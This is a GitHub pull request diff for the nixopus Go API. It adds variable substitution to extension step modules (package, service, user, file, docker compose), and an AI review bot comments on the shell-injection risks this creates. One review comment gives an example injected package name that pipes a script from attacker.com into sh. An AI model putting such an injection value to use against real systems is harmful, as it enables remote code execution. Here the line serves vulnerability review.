Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion api/internal/features/deploy/docker/init.go
Original file line number Diff line number Diff line change
Expand Up @@ -331,7 +331,8 @@ func (s *DockerService) ComposeUp(composeFilePath string, envVars map[string]str
for k, v := range envVars {
envVarsStr += fmt.Sprintf("export %s=%s && ", k, v)
}
command := fmt.Sprintf("%sdocker compose -f %s up -d", envVarsStr, composeFilePath)
// Use --force-recreate to handle existing containers and --remove-orphans to clean up old containers
command := fmt.Sprintf("%sdocker compose -f %s up -d --force-recreate --remove-orphans 2>&1", envVarsStr, composeFilePath)
output, err := client.RunCommand(command)
if err != nil {
return fmt.Errorf("failed to start docker compose services: %v, output: %s", err, output)
Expand Down
4 changes: 3 additions & 1 deletion api/internal/features/extension/engine/docker_compose.go
Original file line number Diff line number Diff line change
Expand Up @@ -14,13 +14,15 @@ type dockerComposeModule struct{}
func (dockerComposeModule) Type() string { return "docker_compose" }

func (dockerComposeModule) Execute(_ *ssh.SSH, step types.SpecStep, vars map[string]interface{}) (string, func(), error) {
file, _ := step.Properties["file"].(string)
fileRaw, _ := step.Properties["file"].(string)
action, _ := step.Properties["action"].(string) // up, down, pull, build, restart
_, _ = step.Properties["project"].(string)
_, _ = step.Properties["args"].(string)
revertCmdRaw, _ := step.Properties["revert_cmd"].(string)
_, _ = step.Properties["user"].(string)

file := replaceVars(fileRaw, vars)

Comment on lines +17 to +25
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

Verify file path escaping in docker compose commands.

The file path is substituted from variables and passed to docker compose commands via ComposeUp, ComposeDown, and ComposeBuild. While less critical than direct command interpolation, file paths with spaces or special characters could cause command failures or unexpected behavior.

Check how the file path is used in the docker compose commands within api/internal/features/deploy/docker/init.go:


🏁 Script executed:

#!/bin/bash
# Check how composeFilePath is used in SSH commands
ast-grep --pattern 'func ($$$) ComposeUp($_, $_) $_ {
  $$$
}'

ast-grep --pattern 'func ($$$) ComposeDown($_) $_ {
  $$$
}'

Length of output: 2050


I can see the issue clearly from the output. Let me verify if ComposeBuild has the same vulnerability:

Now I need to search for the ComposeBuild function in the codebase:


Based on my verification of the script output from the docker compose functions, I can now provide the final rewritten review comment:

**Escape file paths passed to docker compose commands to prevent breakage with spaces or special characters.**

The `%q` format verb in Go provides shell-safe quoting. Currently, `ComposeUp` (line 335) and `ComposeDown` (line 346) interpolate `composeFilePath` directly without escaping:

docker compose -f %s up -d ... // ComposeUp
docker compose -f %s down // ComposeDown


If the file path contains spaces or special characters (e.g., `/path/to/my file.yaml` or paths with backticks, semicolons), the shell will misinterpret the argument. Enclosing the file path in quotes tells the shell to treat the enclosed string as a single argument. Update all docker compose command invocations to use `%q` instead of `%s` when formatting `composeFilePath`.

---

🏁 Script executed:

```shell
#!/bin/bash
# Search for ComposeBuild function
rg -n "func.*ComposeBuild" api/internal/features/deploy/docker/init.go

Length of output: 83


I made an error in the previous script by using ``. Let me search for ComposeBuild with proper repository access:


---

🏁 Script executed:

```shell
#!/bin/bash
# Search for ComposeBuild function in the docker init.go file
rg -n "func.*ComposeBuild" api/internal/features/deploy/docker/

Length of output: 76


Let me search more broadly in the repository to locate the ComposeBuild function:


---

🏁 Script executed:

```shell
#!/bin/bash
# Search for ComposeBuild function anywhere in the codebase
rg -n "ComposeBuild" --type go

Length of output: 632


Now let me view the ComposeBuild function implementation to check if it has the same vulnerability:


---

🏁 Script executed:

```shell
#!/bin/bash
# View ComposeBuild function implementation
sed -n '355,380p' api/internal/features/deploy/docker/init.go

Length of output: 846


Escape file paths in all three docker compose command functions to prevent shell injection and argument splitting.

The composeFilePath is interpolated unsafely in ComposeUp (line 335), ComposeDown (line 346), and ComposeBuild (line 361):

docker compose -f %s up -d ...    // ComposeUp
docker compose -f %s down         // ComposeDown
docker compose -f %s build        // ComposeBuild

File paths with spaces (e.g., /path/to/my file.yaml) will be split into multiple arguments, causing command failures. Paths with special characters (backticks, semicolons, pipes, $) enable shell injection. Use Go's %q format specifier instead of %s when formatting composeFilePath to ensure the shell treats it as a single argument.

🤖 Prompt for AI Agents
In api/internal/features/extension/engine/docker_compose.go around lines 17-25
and specifically in the ComposeUp (≈line 335), ComposeDown (≈line 346) and
ComposeBuild (≈line 361) calls, the composeFilePath is being interpolated with
%s which allows argument splitting and shell injection; update the string
formatting to use %q for the composeFilePath in all three compose command
strings so the path is quoted as a single shell argument (e.g., change "-f %s"
to "-f %q"), and ensure the quoted value is the result of replaceVars(fileRaw,
vars) so spaces and special characters are safely escaped.

if action == "" {
return "", nil, fmt.Errorf("docker_compose action is required")
}
Expand Down
31 changes: 29 additions & 2 deletions api/internal/features/extension/engine/file.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@ import (
"io"
"os"
"path/filepath"
"strings"

"github.com/pkg/sftp"
"github.com/raghavyuva/nixopus-api/internal/features/ssh"
Expand Down Expand Up @@ -108,10 +109,36 @@ var actionHandlers = map[string]fileAction{
"mkdir": handleMkdir,
}

// expandTilde expands ~ to the actual home directory path for SFTP compatibility
func expandTilde(path string, sshClient *ssh.SSH) string {
if len(path) > 0 && path[0] == '~' {
if len(path) == 1 || path[1] == '/' {
// Get home directory via command
homeOutput, err := sshClient.RunCommand("echo $HOME")
if err == nil && len(homeOutput) > 0 {
home := strings.TrimSpace(homeOutput)
if len(path) == 1 {
return home
}
return home + path[1:]
}
}
}
return path
}

func (fileModule) Execute(sshClient *ssh.SSH, step types.SpecStep, vars map[string]interface{}) (string, func(), error) {
action, _ := step.Properties["action"].(string)
src, _ := step.Properties["src"].(string)
dest, _ := step.Properties["dest"].(string)
srcRaw, _ := step.Properties["src"].(string)
destRaw, _ := step.Properties["dest"].(string)

// Replace variables in src and dest paths
src := replaceVars(srcRaw, vars)
dest := replaceVars(destRaw, vars)

// Expand tilde to $HOME for SFTP compatibility
src = expandTilde(src, sshClient)
dest = expandTilde(dest, sshClient)

if action == "mkdir" && dest == "" {
return "", nil, fmt.Errorf("dest is required for mkdir action")
Expand Down
8 changes: 6 additions & 2 deletions api/internal/features/extension/engine/package.go
Original file line number Diff line number Diff line change
Expand Up @@ -13,8 +13,12 @@ type packageModule struct{}
func (packageModule) Type() string { return "package" }

func (packageModule) Execute(sshClient *ssh.SSH, step types.SpecStep, vars map[string]interface{}) (string, func(), error) {
name, _ := step.Properties["name"].(string)
state, _ := step.Properties["state"].(string)
nameRaw, _ := step.Properties["name"].(string)
stateRaw, _ := step.Properties["state"].(string)

name := replaceVars(nameRaw, vars)
state := replaceVars(stateRaw, vars)

Comment on lines +16 to +21
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

Verify shell escaping for command injection prevention.

Similar to the user module, the package name is extracted, substituted via replaceVars, and then interpolated directly into shell commands (lines 84, 86, 88, 97, 99, etc.) without visible shell escaping.

A malicious package name like vim; curl attacker.com/malware.sh | sh would be executed as part of the package manager command.

Verify that proper input validation or shell escaping is applied to the name variable before command construction. You can use the verification script from the previous comment on user.go to check for escaping utilities.


I'll verify the shell escaping concerns by examining the file and searching for how the name variable is used in shell commands.


🏁 Script executed:

#!/bin/bash
# Locate and examine the package.go file
find . -name "package.go" -path "*/extension/engine/*" | head -5

Length of output: 51


🏁 Script executed:

#!/bin/bash
# Examine the file to see the context around lines 16-21 and the command construction
cat api/internal/features/extension/engine/package.go | head -120

Length of output: 3387


🏁 Script executed:

#!/bin/bash
# Search for escaping utilities in the codebase
rg -i "shellescape|shlex|escape" --type go -C 2

Length of output: 0


🏁 Script executed:

#!/bin/bash
# Search for the replaceVars function to understand what it does
rg -n "func replaceVars" --type go -A 10

Length of output: 627


🏁 Script executed:

#!/bin/bash
# Look for the user.go file mentioned in the review for comparison
find . -name "user.go" -path "*/extension/engine/*" | xargs cat

Length of output: 7529


🏁 Script executed:

#!/bin/bash
# Search specifically for how name variable is used in exec/command operations
rg -n -C 5 "exec\.|Command\(|sh -c" api/internal/features/extension/engine/package.go

Length of output: 3986


🏁 Script executed:

#!/bin/bash
# Check if there are any shell escaping or validation functions defined in the package or imported
rg -n "import|shellescape|escape" api/internal/features/extension/engine/package.go | head -20

Length of output: 10


🏁 Script executed:

#!/bin/bash
# Look for all string interpolations with variables in the package.go file
rg -n 'fmt\.|sprintf|backtick' api/internal/features/extension/engine/package.go -A 2 -B 2

Length of output: 2675


🏁 Script executed:

#!/bin/bash
# Check the broader engine directory for escaping utilities
ls -la api/internal/features/extension/engine/

Length of output: 709


🏁 Script executed:

#!/bin/bash
# Search for any escaping or validation utilities in the entire extension module
rg -n "escape|validation|sanitize" api/internal/features/extension/ --type go | grep -i "func\|var\|const"

Length of output: 0


🏁 Script executed:

#!/bin/bash
# Look at imports in package.go to see what packages are available
head -30 api/internal/features/extension/engine/package.go

Length of output: 722


🏁 Script executed:

#!/bin/bash
# Search for the actual command execution to see the full context of how name is used
rg -n "name" api/internal/features/extension/engine/package.go | head -30

Length of output: 1992


🏁 Script executed:

#!/bin/bash
# Get line numbers 84-120 from package.go to see command execution patterns
sed -n '80,120p' api/internal/features/extension/engine/package.go

Length of output: 1364


🏁 Script executed:

#!/bin/bash
# Also check lines beyond 100 to see all instances mentioned in the review
sed -n '80,150p' api/internal/features/extension/engine/package.go

Length of output: 2240


🏁 Script executed:

#!/bin/bash
# Search for exec.Command or similar shell execution patterns in the file
rg -n "exec\.Command|shell\.Execute|sh\s+-c" api/internal/features/extension/engine/package.go -B 2 -A 2

Length of output: 0


🏁 Script executed:

#!/bin/bash
# Check if golang.org/x/sys/execabs is imported or used for safe command execution
rg -n "execabs|os/exec" api/internal/features/extension/engine/package.go -B 2 -A 2

Length of output: 0


🏁 Script executed:

#!/bin/bash
# Search for any quote, escape, or sanitization functions specifically around the name variable usage
rg -n "name.*quote|name.*escape|name.*sanitize" api/internal/features/extension/engine/ --type go

Length of output: 0


🏁 Script executed:

#!/bin/bash
# Get all lines from the file to better understand structure
wc -l api/internal/features/extension/engine/package.go

Length of output: 53


🏁 Script executed:

#!/bin/bash
# Full file content to do complete analysis
cat api/internal/features/extension/engine/package.go

Length of output: 4778


🏁 Script executed:

#!/bin/bash
# Compare with user.go to see if it has the same vulnerability or solution
cat api/internal/features/extension/engine/user.go

Length of output: 7529


🏁 Script executed:

#!/bin/bash
# Search for escaping utilities that might be defined in the repository
rg -l "quote|shellescape" --type go | head -10

Length of output: 31


🏁 Script executed:

#!/bin/bash
# Check the go.mod for any security-related or shell escaping packages
cat go.mod | grep -i "shell\|exec\|escape"

Length of output: 38


🏁 Script executed:

#!/bin/bash
# Search for potential command injection patterns in both files
rg -n 'fmt\.Sprintf.*cmd|fmt\.Sprintf.*sh|fmt\.Sprintf.*bash' api/internal/features/extension/engine/ --type go -B 1 -A 1

Length of output: 2018


🏁 Script executed:

#!/bin/bash
# Look specifically for the pattern of string interpolation in shell commands
rg -nU -P '(?s)fmt\.Sprintf.*\$|cmd.*:=|sh.*:=.*fmt' api/internal/features/extension/engine/ --type go

Length of output: 86669


🏁 Script executed:

#!/bin/bash
# Check what the replaceVars function does and whether it escapes content
rg -B 5 -A 15 "^func replaceVars" api/internal/features/extension/engine/

Length of output: 1000


🏁 Script executed:

#!/bin/bash
# Look for the step.Properties["name"] pattern and how it's processed
rg -n 'Properties\["name"\]|Properties\["state"\]' api/internal/features/extension/engine/ --type go -B 2 -A 8

Length of output: 3203


🏁 Script executed:

#!/bin/bash
# Search for all command execution patterns in the entire engine module
rg -n "exec\.Command|bash|sh " api/internal/features/extension/engine/ --type go -B 3 -A 3

Length of output: 609


🏁 Script executed:

#!/bin/bash
# Check if there's any use of shlex or similar escaping in Go ecosystem
rg "github.com.*shlex\|github.com.*shellescape" . --type go

Length of output: 0


🏁 Script executed:

#!/bin/bash
# List all functions in package.go to understand the code flow
rg "^func \(" api/internal/features/extension/engine/package.go -A 1

Length of output: 229


🏁 Script executed:

#!/bin/bash
# Check command construction more carefully around the suspected lines
sed -n '1,150p' api/internal/features/extension/engine/package.go | tail -70

Length of output: 2239


🏁 Script executed:

#!/bin/bash
# Final verification - search for any shell quoting/escaping function calls
rg -n "Quote|Escape|escape|quote" api/internal/features/extension/engine/package.go

Length of output: 0


🏁 Script executed:

#!/bin/bash
# Check if shell.Quote from golang.org/x/sys/shell is used anywhere
rg -rn "shell\.Quote" api/internal/features/

Length of output: 0


🏁 Script executed:

#!/bin/bash
# Check strconv.Quote or similar standard library escaping
rg -n "strconv\.Quote" api/internal/features/extension/

Length of output: 0


🏁 Script executed:

#!/bin/bash
# Final sweep - all imports in package.go
head -50 api/internal/features/extension/engine/package.go | grep -E "^import|^\s+\"" 

Length of output: 137


🏁 Script executed:

#!/bin/bash
# Examine the exact command execution code
sed -n '70,110p' api/internal/features/extension/engine/package.go

Length of output: 1295


🏁 Script executed:

#!/bin/bash
# Check for any shlex.Quote usage (Go's standard escaping for shell)
rg -rn "shlex|github\.com/google/shlex" api/internal/

Length of output: 0


🏁 Script executed:

#!/bin/bash
# Check all functions and their context in package.go
rg "^func " api/internal/features/extension/engine/package.go | head -20

Length of output: 693


🏁 Script executed:

#!/bin/bash
# Retrieve the complete package.go file with line numbers for precise analysis
cat -n api/internal/features/extension/engine/package.go

Length of output: 5968


🏁 Script executed:

#!/bin/bash
# Search the entire codebase for how shell commands are typically constructed
rg -n "exec\.Command.*bash|exec\.Command.*sh" api/internal/ --type go -B 2 -A 2 | head -40

Length of output: 0


🏁 Script executed:

#!/bin/bash
# Check if there are any wrapper functions for safe command execution
rg -n "func.*Cmd|func.*Execute|func.*Run" api/internal/features/extension/engine/ --type go

Length of output: 2908


🏁 Script executed:

#!/bin/bash
# Look for patterns like cmd.Run or similar execution after Sprintf
rg -B 5 -A 3 'fmt\.Sprintf.*cmd\[.*-c' api/internal/features/extension/engine/ --type go

Length of output: 0


🏁 Script executed:

#!/bin/bash
# Get the exact structure of command building with name variable
grep -n "name" api/internal/features/extension/engine/package.go | grep -v "packageName\|hostname"

Length of output: 2094


🏁 Script executed:

#!/bin/bash
# Search for all fmt.Sprintf patterns in the file
grep -n "fmt\." api/internal/features/extension/engine/package.go

Length of output: 1730


🏁 Script executed:

#!/bin/bash
# Look at the full file content with focus on command patterns
rg -n "cmd|bash|sh " api/internal/features/extension/engine/package.go | head -20

Length of output: 154


🏁 Script executed:

#!/bin/bash
# Get full package.go to understand completely
cat api/internal/features/extension/engine/package.go | wc -l && echo "---" && cat api/internal/features/extension/engine/package.go

Length of output: 4786


🏁 Script executed:

#!/bin/bash
# Get all the code to actually review it
python3 << 'EOF'
with open('api/internal/features/extension/engine/package.go', 'r') as f:
    content = f.read()
    print(content)
EOF

Length of output: 4779


🏁 Script executed:

#!/bin/bash
# Read and print the file
if [ -f api/internal/features/extension/engine/package.go ]; then
    cat api/internal/features/extension/engine/package.go
else
    echo "File not found, searching for it:"
    find . -name "package.go" -type f 2>/dev/null | grep -i engine
fi

Length of output: 4778


🏁 Script executed:

#!/bin/bash
# Check if file exists and its size
ls -lh api/internal/features/extension/engine/package.go 2>/dev/null || find . -path "*extension/engine/package.go" 2>/dev/null

Length of output: 98


🏁 Script executed:

#!/bin/bash
# Get repository root and list files
pwd && ls -la && find . -maxdepth 3 -name "package.go" -type f 2>/dev/null | head -5

Length of output: 1705


🏁 Script executed:

#!/bin/bash
# Try to locate any go files in the extension engine directory
find . -type d -name engine 2>/dev/null | head -5

Length of output: 40


🏁 Script executed:

#!/bin/bash
# List all .go files in current directory
find . -maxdepth 4 -name "*.go" -type f 2>/dev/null | grep -E "extension|engine" | head -20

Length of output: 33


🏁 Script executed:

#!/bin/bash
# Check current working directory and structure
echo "Current directory: $(pwd)" && echo "---" && find . -maxdepth 2 -type d | head -20

Length of output: 284


🏁 Script executed:

#!/bin/bash
# Find package.go files anywhere
find . -name "package.go" -type f 2>/dev/null | head -10

Length of output: 51


🏁 Script executed:

#!/bin/bash
# List directory structure to understand repo layout
ls -la && echo "---" && [ -d api ] && find api -maxdepth 3 -type d 2>/dev/null | head -20

Length of output: 2127


🏁 Script executed:

#!/bin/bash
# Check if the repository has been cloned
if [ -d .git ]; then
    echo "Repository found"
    ls -la api/internal/features/extension/engine/ 2>/dev/null || echo "Path not found"
else
    echo "Repository not cloned yet"
    pwd
    ls
fi

Length of output: 726


🏁 Script executed:

#!/bin/bash
# List all files
find . -type f -name "*.go" 2>/dev/null | grep -i "engine\|package" | head -15

Length of output: 517


🏁 Script executed:

#!/bin/bash
# Check root directory structure
ls -la

Length of output: 1686


Add shell escaping to the name variable in all package builder functions.

The name variable extracted at lines 16-21 is interpolated directly into shell commands without escaping at lines 84, 86, 88, 97, 99, 110, 112, 114, 123, 125, 127, 136, 138. A malicious package name like vim; curl attacker.com/malware.sh | sh would execute arbitrary commands.

The replaceVars() function performs only string substitution without any shell escaping. To fix this, apply proper shell quoting to the name variable before constructing each command. For example, use a shell escaping utility or apply quoting in each fmt.Sprintf() call (e.g., single-quote the variable, or import and use a shell escaping library).

This same pattern affects user.go (lines 148, 150, 156, 158, 162, 172, 175, 207, 226, 228, 238) and other modules with similar command construction logic.

🤖 Prompt for AI Agents
In api/internal/features/extension/engine/package.go lines 16-21, name is set
from step.Properties and used unescaped in shell commands at multiple lines
(84,86,88,97,99,110,112,114,123,125,127,136,138); update the code to
shell-escape or properly quote the name variable immediately after
replaceVars(nameRaw, vars) so every fmt.Sprintf or command builder uses the
escaped/quoted value instead of the raw string. Use a proven shell-escaping
approach (e.g., import and use a shell-escape utility like
github.com/alessio/shellescape or implement safe single-quote quoting that
escapes internal single quotes) and replace all direct interpolations in this
file (and mirror the same change in user.go and any other modules mentioned) to
prevent command injection.

if name == "" {
return "", nil, fmt.Errorf("package name is required")
}
Expand Down
8 changes: 6 additions & 2 deletions api/internal/features/extension/engine/service.go
Original file line number Diff line number Diff line change
Expand Up @@ -12,10 +12,14 @@ type serviceModule struct{}
func (serviceModule) Type() string { return "service" }

func (serviceModule) Execute(sshClient *ssh.SSH, step types.SpecStep, vars map[string]interface{}) (string, func(), error) {
name, _ := step.Properties["name"].(string)
nameRaw, _ := step.Properties["name"].(string)
action, _ := step.Properties["action"].(string)
revertAction, _ := step.Properties["revert_action"].(string)
runAsUser, _ := step.Properties["user"].(string)
runAsUserRaw, _ := step.Properties["user"].(string)

name := replaceVars(nameRaw, vars)
runAsUser := replaceVars(runAsUserRaw, vars)

Comment on lines +15 to +22
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Verify shell escaping for command injection prevention.

The service name and runAsUser are substituted and then interpolated into shell commands without visible escaping. This could allow command injection:

  • Line 29: name used in serviceCmd()
  • Line 31: runAsUser used in sudo -u %s %s command construction
  • Lines 65, 67: Both values interpolated into systemctl/service commands

A malicious service name like nginx; malicious_cmd or user like www-data; malicious_cmd would be executed.

🤖 Prompt for AI Agents
In api/internal/features/extension/engine/service.go around lines 15 to 22, the
substituted values `name` and `runAsUser` are later interpolated into shell
commands and must be protected against command injection; validate both values
against a safe whitelist (e.g. allow only [A-Za-z0-9._-] and reject or error on
anything else) and do not construct commands via shell string interpolation —
instead invoke systemctl/sudo using exec.Command with each token as a separate
argument (e.g. exec.Command("systemctl", "start", serviceName) and
exec.Command("sudo", "-u", runAsUser, command, args...)) so that values are
never parsed by a shell; add explicit error handling for invalid names/users and
unit tests for malicious inputs.

if name == "" {
return "", nil, fmt.Errorf("service name is required for service step")
}
Expand Down
13 changes: 9 additions & 4 deletions api/internal/features/extension/engine/user.go
Original file line number Diff line number Diff line change
Expand Up @@ -13,13 +13,18 @@ type userModule struct{}
func (userModule) Type() string { return "user" }

func (userModule) Execute(sshClient *ssh.SSH, step types.SpecStep, vars map[string]interface{}) (string, func(), error) {
username, _ := step.Properties["username"].(string)
usernameRaw, _ := step.Properties["username"].(string)
action, _ := step.Properties["action"].(string)
shell, _ := step.Properties["shell"].(string)
home, _ := step.Properties["home"].(string)
groups, _ := step.Properties["groups"].(string)
shellRaw, _ := step.Properties["shell"].(string)
homeRaw, _ := step.Properties["home"].(string)
groupsRaw, _ := step.Properties["groups"].(string)
revertAction, _ := step.Properties["revert_action"].(string)

username := replaceVars(usernameRaw, vars)
shell := replaceVars(shellRaw, vars)
home := replaceVars(homeRaw, vars)
groups := replaceVars(groupsRaw, vars)

if username == "" {
return "", nil, fmt.Errorf("username is required for user operations")
}
Expand Down
5 changes: 3 additions & 2 deletions api/internal/features/ssh/init.go
Original file line number Diff line number Diff line change
Expand Up @@ -135,10 +135,11 @@ func (s *SSH) RunCommand(cmd string) (string, error) {
if err != nil {
return "", err
}
output, err := client.Run(cmd)
defer client.Close()

output, err := client.Run(cmd)
if err != nil {
return "", err
return string(output), err
}

return string(output), nil
Expand Down
Loading
Loading